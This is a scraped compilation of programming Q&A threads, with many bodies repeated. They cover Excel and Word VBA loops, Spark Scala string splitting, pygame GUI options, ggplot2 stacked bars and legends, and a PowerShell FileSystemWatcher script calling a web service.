    Col = "A"
    StartRow = 1
    LastRow = 20
    Worksheets("Sheet1").Activate
    R = StartRow
    Do While R <= LastRow
        If Cells(R, Col) = 1 Then
            Cells(R, Col).EntireRow.Insert Shift:=xlDown
            R = R + 1
            LastRow = LastRow + 1
        End If
        R = R + 1
    Loop

Application.ScreenUpdating = True

End Sub
</code>```

Note the setting of the value of R in the loop, as you are shifting the rows down, you are continually checking the same value and therefore adding a row each time so we need to increment R by 1 to skip past the 1 we just checked.

We also need to change the endpoint as we are pushing values past Row 20 by inserting so we also increment the LastRow variable. We cannot do this in a for loop in VBA, the for loop will terminate at 20 so I have changed to a while loop

As per the comment below, working backwards from 20 is far more elequent but since I didn't think of that I haven't put it in here :)

Body:
I wanted to add a row in excel vba when ever the value in column A is 1, here is the code I wrote, but this returns a "subscript out of range error". What am I doing wrong?

Sub InsertRow()

    Dim Col As Variant
    Dim BlankRows As Long
    Dim LastRow As Long
    Dim R As Long
    Dim StartRow As Long
    Application.ScreenUpdating = False
        Col = "A"
        StartRow = 1
        LastRow = 20
        Worksheets("Sheet1").Activate
            For R = StartRow To LastRow
                If Cells(R, Col) = 1 Then
                Cells(R, Col).EntireRow.Insert Shift:=xlDown
                End If
            Next R

Application.ScreenUpdating = True

End Sub

Body:
Sub InsertRow()

    Dim Col As Variant
    Dim BlankRows As Long
    Dim LastRow As Long
    Dim R As Long
    Dim StartRow As Long
    Application.ScreenUpdating = False
    Col = "A"
    StartRow = 1
    LastRow = 20
    Worksheets("Sheet1").Activate
    R = StartRow
    Do While R <= LastRow
        If Cells(R, Col) = 1 Then
            Cells(R, Col).EntireRow.Insert Shift:=xlDown
            R = R + 1
            LastRow = LastRow + 1
        End If
        R = R + 1
    Loop

Application.ScreenUpdating = True

End Sub

Note the setting of the value of R in the loop, as you are shifting the rows down, you are continually checking the same value and therefore adding a row each time so we need to increment R by 1 to skip past the 1 we just checked.

We also need to change the endpoint as we are pushing values past Row 20 by inserting so we also increment the LastRow variable. We cannot do this in a for loop in VBA, the for loop will terminate at 20 so I have changed to a while loop

As per the comment below, working backwards from 20 is far more elequent but since I didn't think of that I haven't put it in here :)


问:
How do you use map-reduce in scala dataframes when u have 2 fields and second field should be split?
I have review_ratingremoved , which is of type [review_id, text] ,
i want to do a map-reduce function where i give out (review_id, word) as mapper output. But, i have to split my text into words and output all those words with associated review_id

Scala code:

```<code>val reviews = spark.read.option("header","true").option("inferSchema","true").csv(review_path)

val review_ratingremoved = review_afterstep1.select("review_id","text")

val reviewmap = review_ratingremoved.map(_.map(_._2.split(" ")))

// not working showing this error:
//notebook:23: error: value map is not a member of org.apache.spark.sql.Row
//val reviewmap = review_ratingremoved.map(_.map(_._2.split(" ")))
</code>```

Please help me figure this out. Thanks.

答:
You can just do the below:</p>

```<code>review_ratingremoved .selectExpr("review_id", "split(text, ' ') as text_words")
</code>```

Body:
I have review_ratingremoved , which is of type [review_id, text] ,
i want to do a map-reduce function where i give out (review_id, word) as mapper output. But, i have to split my text into words and output all those words with associated review_id

Scala code:

val reviews = spark.read.option("header","true").option("inferSchema","true").csv(review_path)

val review_ratingremoved = review_afterstep1.select("review_id","text")

val reviewmap = review_ratingremoved.map(_.map(_._2.split(" ")))

// not working showing this error:
//notebook:23: error: value map is not a member of org.apache.spark.sql.Row
//val reviewmap = review_ratingremoved.map(_.map(_._2.split(" ")))

Please help me figure this out. Thanks.

Body:
You can just do the below:

review_ratingremoved .selectExpr("review_id", "split(text, ' ') as text_words")


问:
How do I make a text box in pygame?
So I’m new with pygame and I was wondering how do you make a basic text box

I know you have to create a window as so:

```<code>import pygame, sys
pygame.init()

screen= pygame.display.set_mode([800,600])
pygame.display.flip
</code>```

but then I have no idea where to go from there

any help much appreciated :)

答:
PyGame is low-level library and it doesn't have widgets.

You can use other modules like PGU, OcempGUI or SGC. Most of them have examples.

Most of them use own event loop so you have to learn how to use it instead of loop while True:.

See more on PyGame page:

https://www.pygame.org/wiki/gui

https://www.pygame.org/tags/gui

BTW:

SGC doesn't use own event loop and it shows how to use it in own mailoop in Getting Started

PGU uses own event loop but it shows how to use it in own mainloop (only) in  example 10

Title: How do I make a text box in pygame?

Body:
So I’m new with pygame and I was wondering how do you make a basic text box

I know you have to create a window as so:

import pygame, sys
pygame.init()

screen= pygame.display.set_mode([800,600])
pygame.display.flip

but then I have no idea where to go from there

any help much appreciated :)


问:
Stacked bar in ggplot2
Alright, I am going crazy. So I have some data that has a bunch of columns.  Mainly names, address, and other qualities.

```<code>Name       ||||   Division | | |MonthNo
John ||||  Seattle | | | | | 2
Chris|||| Seattle ||||||||| 4
Dave ||||Dallas  |||||||||| 2
Suzy |||| San Fran |||| 5
Jill | | | | Dallas |||||||||| 4
</code>```

To get a simple count of occurrence by Month I did this:

```<code>MC$MonthNo <- factor(MC$MonthNo, levels = c(1:11), labels = c("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November"))

MCH <- ggplot(na.omit(MC), aes(MonthNo))

MCH + geom_bar(color = "black", fill = "light blue") + labs(x = "2017", y = "# of Leads") + theme(axis.line = element_line(color = "black", size = 3, linetype = "solid"), axis.text.x = element_text(face = "bold", color = "black", size = 14), axis.text.y = element_text(face = "bold", color = "black", size = 14)) + scale_y_continuous(name = "# Of Leads", breaks = c(0, 500, 1000, 1500, 2000, 2500, 3000), limits = c(0, 3000)) + theme(panel.background = element_rect(colour = "black", fill = "white"), panel.grid.minor = element_line(color = "black", size = .5), panel.grid.major = element_line(color = "black", size = .5))
</code>```

Pretty much just a basic bar graph.

Now there is a field in this data called Division.  There are 7 different divisions for example Seattle, Pittsburgh, Honolulu, Dallas, San Francisco, Salt Lake City, New Orleans.  I want to break my bars into stacks based off of which division they are in.  Like 7 different bars into 1 with the 7 segments representing the counts of each division for each month.. Like in my example Month 2 has Seattle and Dallas.  I would want there to be two segments in one bar. I can't figure this out for the life of me. Everything was imported from a CSV with a couple thousand unique rows.

Thanks in advance.

答:
Here you go.
I saved your data as csv

```<code>petey <-read.csv("Petey_data.txt")
#Adding a month variable, always good practice to
#keep original data as is and add variables
#I used the built-in month.abb constant to get
#abbreviated month names
#assigned as factor with labels as month order
petey$Month <-factor(month.abb[petey$MonthNo], levels = month.abb)
library(ggplot2)
ggplot(petey,aes(Month))+geom_bar(aes(fill=Division))
</code>```

For the future please look up ?dput to share your data
also read up on ?geom_bar and look at the examples to get an idea of how the data is arranged. More examples on the webpage at http://ggplot2.tidyverse.org/reference/geom_bar.html

Title: Stacked bar in ggplot2

Body:
Alright, I am going crazy. So I have some data that has a bunch of columns.  Mainly names, address, and other qualities.

Name       ||||   Division | | |MonthNo
John ||||  Seattle | | | | | 2
Chris|||| Seattle ||||||||| 4
Dave ||||Dallas  |||||||||| 2
Suzy |||| San Fran |||| 5
Jill | | | | Dallas |||||||||| 4

To get a simple count of occurrence by Month I did this:

MC$MonthNo <- factor(MC$MonthNo, levels = c(1:11), labels = c("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November"))

MCH <- ggplot(na.omit(MC), aes(MonthNo))

MCH + geom_bar(color = "black", fill = "light blue") + labs(x = "2017", y = "# of Leads") + theme(axis.line = element_line(color = "black", size = 3, linetype = "solid"), axis.text.x = element_text(face = "bold", color = "black", size = 14), axis.text.y = element_text(face = "bold", color = "black", size = 14)) + scale_y_continuous(name = "# Of Leads", breaks = c(0, 500, 1000, 1500, 2000, 2500, 3000), limits = c(0, 3000)) + theme(panel.background = element_rect(colour = "black", fill = "white"), panel.grid.minor = element_line(color = "black", size = .5), panel.grid.major = element_line(color = "black", size = .5))

Pretty much just a basic bar graph.

Now there is a field in this data called Division.  There are 7 different divisions for example Seattle, Pittsburgh, Honolulu, Dallas, San Francisco, Salt Lake City, New Orleans.  I want to break my bars into stacks based off of which division they are in.  Like 7 different bars into 1 with the 7 segments representing the counts of each division for each month.. Like in my example Month 2 has Seattle and Dallas.  I would want there to be two segments in one bar. I can't figure this out for the life of me. Everything was imported from a CSV with a couple thousand unique rows.

Thanks in advance.

Body:
Here you go.
I saved your data as csv

petey <-read.csv("Petey_data.txt")
#Adding a month variable, always good practice to
#keep original data as is and add variables
#I used the built-in month.abb constant to get
#abbreviated month names
#assigned as factor with labels as month order
petey$Month <-factor(month.abb[petey$MonthNo], levels = month.abb)
library(ggplot2)
ggplot(petey,aes(Month))+geom_bar(aes(fill=Division))

For the future please look up ?dput to share your data
also read up on ?geom_bar and look at the examples to get an idea of how the data is arranged. More examples on the webpage at http://ggplot2.tidyverse.org/reference/geom_bar.html


问:
Deleting Empty Paragraphs in Word Using VBA: Not All Empty Paragraphs Deleted
I wrote a macro to delete all the empty paragraphs in my document, but it exhibits weird behavior: If there are a number of empty paragraphs at the very end of the document, about half of them are deleted. Repeatedly running the macro gradually eliminates the empty paragraphs until only one empty paragraph remains. Even if there is a boundary condition so that I need a line of code to delete the last paragraph, but I still don't understand why only half of the empty paragraphs at the end are deleted. Can anyone explain why this is happening and how to correct this behavior? As an aside, I searched online and saw numerous posts about detecting paragraph markers (^p, ^13, and others, but only searching vbCr worked, which is another minor puzzle.)</p>

```<code>Sub Delete_Empty__Paras_2() 'This macro looks for empty paragraphs and deletes them.
Dim original_num_of_paras_in_doc As Integer
Dim num_of_deleted_paras As Integer

original_num_of_paras_in_doc = ActiveDocument.Paragraphs.Count 'Count the number of paragraphs in the document to start
num_of_deleted_paras = 0 'In the beginning, no paragraphs have been deleted

Selection.HomeKey Unit:=wdStory 'Go to the beginning of the document.
For current_para_number = 1 To original_num_of_paras_in_doc 'Process each paragraph in the document, one by one.
    If current_para_number + num_of_deleted_paras > original_num_of_paras_in_doc Then 'Stop processing paragraphs when the loop has processed every paragraph.
        Exit For
    Else 'If the system just deleted the 3rd paragraph of the document because
        ' it's empty, the next paragraph processed is the 3rd one again,
        'so when we iterate the counter, we have to subtract the number of deleted paragraphs to account for this.
        Set paraRange = ActiveDocument.Paragraphs(current_para_number - num_of_deleted_paras).Range
        paratext = paraRange.Text
        If paratext = vbCr Then 'Is the paragraph empty? (By the way, checking for vbCr is the only method that worked for checking for empty paras.)
            paratext = "" 'Delete the paragraph.
            ActiveDocument.Paragraphs(current_para_number - num_of_deleted_paras).Range.Text = paratext
            num_of_deleted_paras = num_of_deleted_paras + 1 'Iterate the count of deleted paras.
        End If
    End If
Next current_para_number
End Sub
</code>```

答:
This code will delete all blank paragraphs...</p>

```<code>Sub RemoveBlankParas()
    Dim oDoc        As Word.Document
    Dim i           As Long
    Dim oRng        As Range
    Dim lParas      As Long

    Set oDoc = ActiveDocument
    lParas = oDoc.Paragraphs.Count          ' Total paragraph count
    Set oRng = ActiveDocument.Range

    For i = lParas To 1 Step -1
        oRng.Select
        lEnd = lEnd + oRng.Paragraphs.Count                         ' Keep track of how many processed
        If Len(ActiveDocument.Paragraphs(i).Range.Text) = 1 Then
            ActiveDocument.Paragraphs(i).Range.Delete
        End If
    Next i

    Set para = Nothing
    Set oDoc = Nothing
    Exit Sub
End Sub
</code>```

Body:
I wrote a macro to delete all the empty paragraphs in my document, but it exhibits weird behavior: If there are a number of empty paragraphs at the very end of the document, about half of them are deleted. Repeatedly running the macro gradually eliminates the empty paragraphs until only one empty paragraph remains. Even if there is a boundary condition so that I need a line of code to delete the last paragraph, but I still don't understand why only half of the empty paragraphs at the end are deleted. Can anyone explain why this is happening and how to correct this behavior? As an aside, I searched online and saw numerous posts about detecting paragraph markers (^p, ^13, and others, but only searching vbCr worked, which is another minor puzzle.)

Sub Delete_Empty__Paras_2() 'This macro looks for empty paragraphs and deletes them.
Dim original_num_of_paras_in_doc As Integer
Dim num_of_deleted_paras As Integer

original_num_of_paras_in_doc = ActiveDocument.Paragraphs.Count 'Count the number of paragraphs in the document to start
num_of_deleted_paras = 0 'In the beginning, no paragraphs have been deleted

Selection.HomeKey Unit:=wdStory 'Go to the beginning of the document.
For current_para_number = 1 To original_num_of_paras_in_doc 'Process each paragraph in the document, one by one.
    If current_para_number + num_of_deleted_paras > original_num_of_paras_in_doc Then 'Stop processing paragraphs when the loop has processed every paragraph.
        Exit For
    Else 'If the system just deleted the 3rd paragraph of the document because
        ' it's empty, the next paragraph processed is the 3rd one again,
        'so when we iterate the counter, we have to subtract the number of deleted paragraphs to account for this.
        Set paraRange = ActiveDocument.Paragraphs(current_para_number - num_of_deleted_paras).Range
        paratext = paraRange.Text
        If paratext = vbCr Then 'Is the paragraph empty? (By the way, checking for vbCr is the only method that worked for checking for empty paras.)
            paratext = "" 'Delete the paragraph.
            ActiveDocument.Paragraphs(current_para_number - num_of_deleted_paras).Range.Text = paratext
            num_of_deleted_paras = num_of_deleted_paras + 1 'Iterate the count of deleted paras.
        End If
    End If
Next current_para_number
End Sub

Body:
This code will delete all blank paragraphs...

Sub RemoveBlankParas()
    Dim oDoc        As Word.Document
    Dim i           As Long
    Dim oRng        As Range
    Dim lParas      As Long

    Set oDoc = ActiveDocument
    lParas = oDoc.Paragraphs.Count          ' Total paragraph count
    Set oRng = ActiveDocument.Range

    For i = lParas To 1 Step -1
        oRng.Select
        lEnd = lEnd + oRng.Paragraphs.Count                         ' Keep track of how many processed
        If Len(ActiveDocument.Paragraphs(i).Range.Text) = 1 Then
            ActiveDocument.Paragraphs(i).Range.Delete
        End If
    Next i

    Set para = Nothing
    Set oDoc = Nothing
    Exit Sub
End Sub


答:
is this what you want to do?</p>

```<code>ggplot(data, aes(x=a, y=b)) + geom_point() +
    geom_line(aes(x=a, y=c)) +
    geom_line(aes(x=a, y=(c - d), colour="d")) +
    geom_line(aes(x=a, y=(c + d), colour="d")) +
    geom_line(aes(x=a, y=(c - e), colour="e")) +
    geom_line(aes(x=a, y=(c + e), colour="e")) +
    scale_colour_manual(name="legend title",
                        values=c("red", "blue"),
                        breaks=c("d", "e"))
</code>```

Title: Why does the ggplot legend show the "colour" parameter?

Body:
I have the following example:

data <- structure(list(a = c(-1.25549186262767, -0.840855480786298, -
0.635371312524283,
-0.602907981454667, -0.472166385166945, -0.285773634866154, 0.0701427664273268,
0.138108224803923, 1.38435934347858, 1.71144087270237), b = c(-3.44400412039417,
0.675644682353751, -1.04793816522475, -7.38303347186651, 2.34519166466874,
0.334780748573386, 4.76806919070976, 4.8633533150074, 3.50106026731172,
-1.27172351054143), c = c(-3.02376206439776, -2.56390769080574,
-1.48659913867609, -1.27976202274701, -0.368725655874139, 1.08537150160227,
3.98619381956471, 4.50687017428731, 4.10341582203292, -1.61769414438858
), d = c(5.71851494232005, 2.90539833491649, 2.75195159216204,
2.73478241733301, 2.65941820902101, 2.60630235726839, 3.34836154776286,
3.62938300664006, 4.61153521538016, 5.56230567213863), e = c(8.98703236551896,
4.5660296657415, 4.32487774825464, 4.29789523068949, 4.17945528847841,
4.09598014088541, 5.26217626511884, 5.70382046327322, 7.24733897758039,
8.74153894964533)), .Names = c("a", "b", "c", "d", "e"), row.names = c(NA,
-10L), class = "data.frame")

ggplot(data, aes(x=a, y=b)) + geom_point() +
    geom_line(aes(x=a, y=c)) +
    geom_line(aes(x=a, y=(c - d), colour="red")) +
    geom_line(aes(x=a, y=(c + d), colour="red")) +
    geom_line(aes(x=a, y=(c - e), colour="blue")) +
    geom_line(aes(x=a, y=(c + e), colour="blue"))

I want the labels to be "d" and "e", but they are instead being given the value of the "colour" field.  Two questions:

1) How can I eliminate the legend entirely?
2) If I want to include the legend, how can I have it set to specific values rather than the colour?

Body:
is this what you want to do?

ggplot(data, aes(x=a, y=b)) + geom_point() +
    geom_line(aes(x=a, y=c)) +
    geom_line(aes(x=a, y=(c - d), colour="d")) +
    geom_line(aes(x=a, y=(c + d), colour="d")) +
    geom_line(aes(x=a, y=(c - e), colour="e")) +
    geom_line(aes(x=a, y=(c + e), colour="e")) +
    scale_colour_manual(name="legend title",
                        values=c("red", "blue"),
                        breaks=c("d", "e"))


问:
New-WebServiceProxy don't work on console only on ISE
This is a sample of my code:

```<code>    Add-Type -AssemblyName PresentationFramework

    Get-Content "$PSScriptRoot\config.ini" | ForEach-Object -Begin {$config=@{}} -Process {$store = [regex]::split($_,'='); if(($store[0].CompareTo("") -ne 0) -and ($store[0].StartsWith("[") -ne $True) -and ($store[0].StartsWith("#") -ne $True)) {$config.Add($store[0], $store[1])}}

    $folder = $config.Get_Item("CSVFolder")
    $filter = $config.Get_Item("CSVFile")
    $uri = $config.Get_Item("WebServiceUri")

    Function Register-Watcher {
        $watcher = New-Object IO.FileSystemWatcher $folder, $filter -Property @{
            IncludeSubdirectories = $false
            EnableRaisingEvents = $true
        }

        $changeAction = {

            $path = $Event.SourceEventArgs.FullPath
            $name = $Event.SourceEventArgs.Name
            $changeType = $Event.SourceEventArgs.ChangeType
            $timeStamp = $Event.TimeGenerated

            $ConWebSrv = New-WebServiceProxy -Uri $uri
            $rescode = 0
            $resreason = 0

            $get = Get-Content -Path $path -Last 1
            $artnbr,$barc,$desc,$pu,$qtypu,$meanval,$mittelw,$free1,$free2,$free3,$lenght,$width,$height,$lengthuni,$volume,$voluni,$weight,$weightuni,$timest = $get.split(";")

            $CommWebSrv = $ConWebSrv.setItemDims($artnbr,$width,$lenght,$height,$weight,$weight,"EA","KG","CM","KHT",[ref]$rescode,[ref]$resreason)

            $msgBoxInput = [System.Windows.MessageBox]::Show("Nova leitura detectada. Pretende comunicar?","","YesNo", "Information")
            switch  ($msgBoxInput) {

                   "Yes" {write-host "Yes $artnbr"}
                   "No" {write-host "No"}
            }
        }

        Register-ObjectEvent $Watcher "Changed" -Action $changeAction
    }
Register-Watcher
</code>```

I ended the script and everything is ok on ISE, code runs without any problem. But when I run it at console anything happens when I update the CSV file. I found the problem, it is on $ConWebSrv = New-WebServiceProxy -Uri $uri. If I comment the code out, it runs without problem on console.

Attention: If you copy and paste on console it works, try with .ps1 file.

答: Solved the problem. Variables of the of the script block $changeaction need to be inside the that scriptblock.</p>

Body:
This is a sample of my code:

    Add-Type -AssemblyName PresentationFramework

    Get-Content "$PSScriptRoot\config.ini" | ForEach-Object -Begin {$config=@{}} -Process {$store = [regex]::split($_,'='); if(($store[0].CompareTo("") -ne 0) -and ($store[0].StartsWith("[") -ne $True) -and ($store[0].StartsWith("#") -ne $True)) {$config.Add($store[0], $store[1])}}

    $folder = $config.Get_Item("CSVFolder")
    $filter = $config.Get_Item("CSVFile")
    $uri = $config.Get_Item("WebServiceUri")

    Function Register-Watcher {
        $watcher = New-Object IO.FileSystemWatcher $folder, $filter -Property @{
            IncludeSubdirectories = $false
            EnableRaisingEvents = $true
        }

        $changeAction = {

            $path = $Event.SourceEventArgs.FullPath
            $name = $Event.SourceEventArgs.Name
            $changeType = $Event.SourceEventArgs.ChangeType
            $timeStamp = $Event.TimeGenerated

            $ConWebSrv = New-WebServiceProxy -Uri $uri
            $rescode = 0
            $resreason = 0

            $get = Get-Content -Path $path -Last 1
            $artnbr,$barc,$desc,$pu,$qtypu,$meanval,$mittelw,$free1,$free2,$free3,$lenght,$width,$height,$lengthuni,$volume,$voluni,$weight,$weightuni,$timest = $get.split(";")

            $CommWebSrv = $ConWebSrv.setItemDims($artnbr,$width,$lenght,$height,$weight,$weight,"EA","KG","CM","KHT",[ref]$rescode,[ref]$resreason)

            $msgBoxInput = [System.Windows.MessageBox]::Show("Nova leitura detectada. Pretende comunicar?","","YesNo", "Information")
            switch  ($msgBoxInput) {

                   "Yes" {write-host "Yes $artnbr"}
                   "No" {write-host "No"}
            }
        }

        Register-ObjectEvent $Watcher "Changed" -Action $changeAction
    }
Register-Watcher

I ended the script and everything is ok on ISE, code runs without any problem. But when I run it at console anything happens when I update the CSV file. I found the problem, it is on $ConWebSrv = New-WebServiceProxy -Uri $uri. If I comment the code out, it runs without problem on console.

Attention: If you copy and paste on console it works, try with .ps1 file.